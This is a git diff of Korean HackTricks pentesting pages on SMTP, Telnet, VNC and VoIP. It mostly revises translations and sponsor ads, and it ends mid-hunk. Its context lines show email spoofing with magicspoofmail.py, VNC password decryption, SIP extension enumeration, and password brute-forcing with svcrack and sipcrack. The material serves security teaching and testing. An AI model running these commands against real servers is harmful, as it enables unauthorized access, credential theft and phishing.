메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있다는 의미), `nmap` 도구가 일반적으로 사용됩니다. 이 도구에는 이를 테스트하기 위한 특정 스크립트가 포함되어 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은:
|
||||
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있다는 의미), `nmap` 도구가 일반적으로 사용됩니다. 이 도구는 이를 테스트하기 위해 설계된 특정 스크립트를 포함하고 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -408,7 +412,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
|||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
dkim python lib에서 키를 파싱하는 데 **오류가 발생하는 경우** 다음 것을 자유롭게 사용하세요.\
|
||||
dkim python lib에서 키를 파싱할 때 **오류가 발생하면** 다음 것을 자유롭게 사용하세요.\
|
||||
**참고**: 이것은 openssl 개인 키가 **dkim에 의해 파싱될 수 없는** 경우에 빠른 검사를 수행하기 위한 더러운 수정입니다.
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
|
@ -499,7 +503,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### **더 많은 정보**
|
||||
|
||||
**이러한 보호 조치에 대한 더 많은 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 확인하세요.**
|
||||
**이러한 보호 조치에 대한 자세한 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 확인하세요.**
|
||||
|
||||
### **기타 피싱 지표**
|
||||
|
||||
|
@ -520,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### Postfix
|
||||
|
||||
일반적으로 설치된 경우 `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일이 수신되면 `/etc/postfix/filtering`이 실행됨을 의미합니다.
|
||||
일반적으로 설치된 경우 `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일을 수신하면 `/etc/postfix/filtering`이 실행됨을 의미합니다.
|
||||
|
||||
기타 구성 파일:
|
||||
```
|
||||
|
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -599,7 +605,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,14 +17,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
**Commands from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
첫 번째 SMTP 명령입니다: 발신 서버를 식별하며 대화가 시작되고 일반적으로 도메인 이름이 뒤따릅니다.
|
||||
첫 번째 SMTP 명령으로, 발신 서버를 식별하며 대화를 시작하고 일반적으로 도메인 이름이 뒤따릅니다.
|
||||
|
||||
**EHLO**\
|
||||
대화를 시작하는 대체 명령으로, 서버가 확장 SMTP 프로토콜을 사용하고 있음을 나타냅니다.
|
||||
|
@ -39,7 +41,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
이 SMTP 명령은 첨부된 이메일의 예상 크기(바이트 단위)를 원격 서버에 알립니다. 서버가 수용할 최대 메시지 크기를 보고하는 데에도 사용할 수 있습니다.
|
||||
|
||||
**DATA**\
|
||||
DATA 명령으로 이메일 내용 전송이 시작됩니다; 일반적으로 서버가 실제 전송을 시작할 수 있도록 허가하는 354 응답 코드가 뒤따릅니다.
|
||||
DATA 명령으로 이메일 내용의 전송이 시작됩니다; 일반적으로 서버가 실제 전송을 시작할 수 있도록 허가하는 354 응답 코드가 뒤따릅니다.
|
||||
|
||||
**VRFY**\
|
||||
특정 이메일 주소나 사용자 이름이 실제로 존재하는지 확인하도록 서버에 요청합니다.
|
||||
|
@ -64,7 +66,9 @@ SMTP 대화를 종료합니다.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,7 +45,7 @@ The script `telnet-ntlm-info.nse`는 NTLM 정보를 얻습니다 (Windows 버전
|
|||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)에서: TELNET 프로토콜에는 사용자가 더 정교한 (또는 아마도 단순히 다른) 규칙 집합을 사용하기로 동의할 수 있도록 "**DO, DON'T, WILL, WON'T**" 구조와 함께 사용될 수 있는 다양한 "**옵션**"이 있습니다. 이러한 옵션에는 문자 집합 변경, 에코 모드 변경 등이 포함될 수 있습니다.
|
||||
|
||||
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르므로 아는 경우 알려주세요.**
|
||||
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르니 아는 분은 알려주세요.**
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
|
||||
|
||||
|
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -101,7 +105,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**가상 네트워크 컴퓨팅 (VNC)**는 **원격 프레임 버퍼 (RFB)** 프로토콜을 활용하여 원격 제어 및 다른 컴퓨터와의 협업을 가능하게 하는 강력한 그래픽 데스크톱 공유 시스템입니다. VNC를 사용하면 사용자가 키보드 및 마우스 이벤트를 양방향으로 전송하여 원격 컴퓨터와 원활하게 상호작용할 수 있습니다. 이를 통해 실시간 액세스가 가능하며 네트워크를 통한 효율적인 원격 지원 또는 협업을 촉진합니다.
|
||||
**가상 네트워크 컴퓨팅 (VNC)**는 **원격 프레임 버퍼 (RFB)** 프로토콜을 활용하여 원격 제어 및 다른 컴퓨터와의 협업을 가능하게 하는 강력한 그래픽 데스크탑 공유 시스템입니다. VNC를 사용하면 사용자가 키보드 및 마우스 이벤트를 양방향으로 전송하여 원격 컴퓨터와 원활하게 상호작용할 수 있습니다. 이를 통해 실시간 접근이 가능하며 네트워크를 통한 효율적인 원격 지원 또는 협업을 촉진합니다.
|
||||
|
||||
VNC는 일반적으로 **5800 또는 5801 또는 5900 또는 5901** 포트를 사용합니다.
|
||||
```
|
||||
|
@ -37,15 +43,15 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
|||
```
|
||||
## VNC 비밀번호 복호화
|
||||
|
||||
기본 **비밀번호는 저장됩니다**: \~/.vnc/passwd
|
||||
기본 **비밀번호는 저장됨**: \~/.vnc/passwd
|
||||
|
||||
VNC 비밀번호가 있고 암호화된 것처럼 보인다면(몇 바이트, 암호화된 비밀번호일 수 있는 경우), 아마도 3des로 암호화된 것입니다. [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)를 사용하여 평문 비밀번호를 얻을 수 있습니다.
|
||||
VNC 비밀번호가 있고 암호화된 것처럼 보인다면(몇 바이트, 암호화된 비밀번호일 수 있는 경우), 아마도 3des로 암호화되었을 것입니다. [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)를 사용하여 평문 비밀번호를 얻을 수 있습니다.
|
||||
```bash
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
이것은 3des 내에서 평문 VNC 비밀번호를 암호화하는 데 사용된 비밀번호가 몇 년 전에 역전되었기 때문에 가능합니다.\
|
||||
**Windows**의 경우 이 도구를 사용할 수도 있습니다: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
|
||||
**Windows**에서는 이 도구를 사용할 수도 있습니다: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
접근을 용이하게 하기 위해 이 도구를 여기에도 저장합니다:
|
||||
|
||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||
|
@ -54,6 +60,12 @@ vncpwd <vnc password file>
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -64,7 +76,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## VoIP 기본 정보
|
||||
|
||||
VoIP 작동 방식에 대해 배우려면 다음을 확인하세요:
|
||||
|
@ -199,12 +207,12 @@ VoIP 소프트웨어를 식별하는 데 도움이 되는 다른 OSINT 열거는
|
|||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 지정된 네트워크에서 SIP 서비스를 찾습니다.
|
||||
* `svmap`은 User-Agent `friendly-scanner`를 사용하기 때문에 **차단하기 쉽습니다**, 하지만 `/usr/share/sipvicious/sipvicious`의 코드를 수정하여 변경할 수 있습니다.
|
||||
* `svmap`은 User-Agent `friendly-scanner`를 사용하기 때문에 **차단하기 쉽습니다**, 하지만 `/usr/share/sipvicious/sipvicious`의 코드를 수정하고 변경할 수 있습니다.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS 스캔`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 스캔은 UDP, TCP 또는 TLS를 통한 SIP 서비스에 대한 매우 빠른 스캐너입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고, TCP와 UDP를 모두 스캔하며, 다른 방법을 사용할 수 있고(기본적으로 OPTIONS를 사용), 다른 User-Agent를 지정할 수 있습니다(기타 등등).
|
||||
* **`SIPPTS 스캔`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 스캔은 UDP, TCP 또는 TLS를 통한 SIP 서비스에 대한 매우 빠른 스캐너입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고, TCP와 UDP를 모두 스캔하며, 다른 방법을 사용할 수 있고(기본적으로 OPTIONS를 사용함), 다른 User-Agent를 지정할 수 있습니다(기타 등등).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -235,13 +243,13 @@ PBX는 다음과 같은 다른 네트워크 서비스를 노출할 수 있습니
|
|||
|
||||
### Methods Enumeration
|
||||
|
||||
PBX에서 사용할 수 있는 **메서드**를 찾는 것은 `SIPPTS enumerate`를 사용하여 가능합니다 [**sippts**](https://github.com/Pepelux/sippts)
|
||||
`SIPPTS enumerate`를 사용하여 PBX에서 **사용 가능한 메서드**를 찾는 것이 가능합니다 [**sippts**](https://github.com/Pepelux/sippts)
|
||||
```bash
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
### 서버 응답 분석
|
||||
|
||||
서버가 우리에게 보내는 헤더를 분석하는 것은 매우 중요합니다. 이는 우리가 보내는 메시지와 헤더의 유형에 따라 달라집니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하면 모든 헤더를 조작하여 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
|
||||
우리가 보내는 메시지와 헤더의 유형에 따라 서버가 우리에게 보내는 헤더를 분석하는 것이 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하여 모든 헤더를 조작하고 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
|
@ -251,9 +259,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|||
```
|
||||
### Extension Enumeration
|
||||
|
||||
PBX(Private Branch Exchange) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 **고유한 내부 식별자**를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅**할 수 있게 하여 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
|
||||
PBX(Private Branch Exchange) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 고유한 내부 식별자를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅할 수 있게 해주며**, 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
|
||||
|
||||
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측**하여 작동합니다.
|
||||
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측하여 작동합니다.**
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
|
@ -280,10 +288,10 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
{% hint style="danger" %}
|
||||
**사용자 이름**이 확장과 동일할 수 있지만, 이 관행은 PBX 시스템, 구성 및 조직의 선호도에 따라 다를 수 있습니다...
|
||||
|
||||
사용자 이름이 확장과 동일하지 않은 경우, **무차별 대입을 위해 사용자 이름을 알아내야 합니다**.
|
||||
사용자 이름이 확장과 다르면, **무차별 대입을 위해 사용자 이름을 알아내야 합니다**.
|
||||
{% endhint %}
|
||||
|
||||
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBX에서 특정 사용자 이름/확장의 비밀번호를 해독할 수 있게 해줍니다.
|
||||
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBX에서 특정 사용자 이름/확장에 대한 비밀번호를 해독할 수 있게 해줍니다.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
|
@ -311,14 +319,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
#### SIP 자격 증명 (비밀번호 브루트포스 - 오프라인)
|
||||
|
||||
[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **자격 증명이 어떻게 전송되는지** 배우기 위해.
|
||||
[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) 자격 증명이 어떻게 **전송되는지** 배울 수 있습니다.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 **pcap**에서 SIP 프로토콜 내의 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
|
||||
* **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
```
|
||||
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 덤프는 pcap 파일에서 다이제스트 인증을 추출할 수 있습니다.
|
||||
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump는 pcap 파일에서 다이제스트 인증을 추출할 수 있습니다.
|
||||
```bash
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
|
@ -333,7 +341,7 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
#### DTMF 코드
|
||||
|
||||
**SIP 자격 증명**뿐만 아니라 네트워크 트래픽에서 **음성 메일**에 접근하는 데 사용되는 DTMF 코드를 찾는 것도 가능합니다.\
|
||||
이 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송할 수 있습니다. RTP 패킷 내에 코드가 있는 경우, 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
|
||||
이 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송할 수 있습니다. RTP 패킷 내에 코드가 있는 경우 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
|
@ -344,22 +352,22 @@ Asterisk에서는 **특정 IP 주소**에서의 연결 또는 **모든 IP 주소
|
|||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
If an IP address is specified, the host **REGISTER** 요청을 주기적으로 보낼 필요가 없습니다 (REGISTER 패킷에는 일반적으로 30분인 생존 시간이 포함되어 있어, 다른 시나리오에서는 전화가 30분마다 REGISTER를 해야 합니다). 그러나 VoIP 서버에서 전화를 받을 수 있도록 연결을 허용하는 열린 포트가 필요합니다.
|
||||
If an IP address is specified, the host **등록 요청을 주기적으로 보낼 필요가 없습니다** (REGISTER 패킷에는 일반적으로 30분인 생존 시간이 포함되어 있어, 다른 시나리오에서는 전화가 30분마다 등록해야 함을 의미합니다). 그러나 VoIP 서버에서 전화를 받을 수 있도록 연결을 허용하는 열린 포트가 필요합니다.
|
||||
|
||||
사용자를 정의하려면 다음과 같이 정의할 수 있습니다:
|
||||
|
||||
* **`type=user`**: 사용자는 사용자로서만 전화를 받을 수 있습니다.
|
||||
* **`type=user`**: 사용자는 전화만 받을 수 있습니다.
|
||||
* **`type=friend`**: 피어로 전화를 걸고 사용자로서 받을 수 있습니다 (확장과 함께 사용됨)
|
||||
* **`type=peer`**: 피어로 전화를 보내고 받을 수 있습니다 (SIP-trunks)
|
||||
* **`type=peer`**: 피어로 전화를 보내고 받을 수 있습니다 (SIP 트렁크)
|
||||
|
||||
신뢰를 설정하는 것도 가능합니다:
|
||||
불안전한 변수를 사용하여 신뢰를 설정할 수도 있습니다:
|
||||
|
||||
* **`insecure=port`**: IP로 검증된 피어 연결을 허용합니다.
|
||||
* **`insecure=invite`**: INVITE 메시지에 대한 인증이 필요하지 않습니다.
|
||||
* **`insecure=port,invite`**: 둘 다
|
||||
|
||||
{% hint style="warning" %}
|
||||
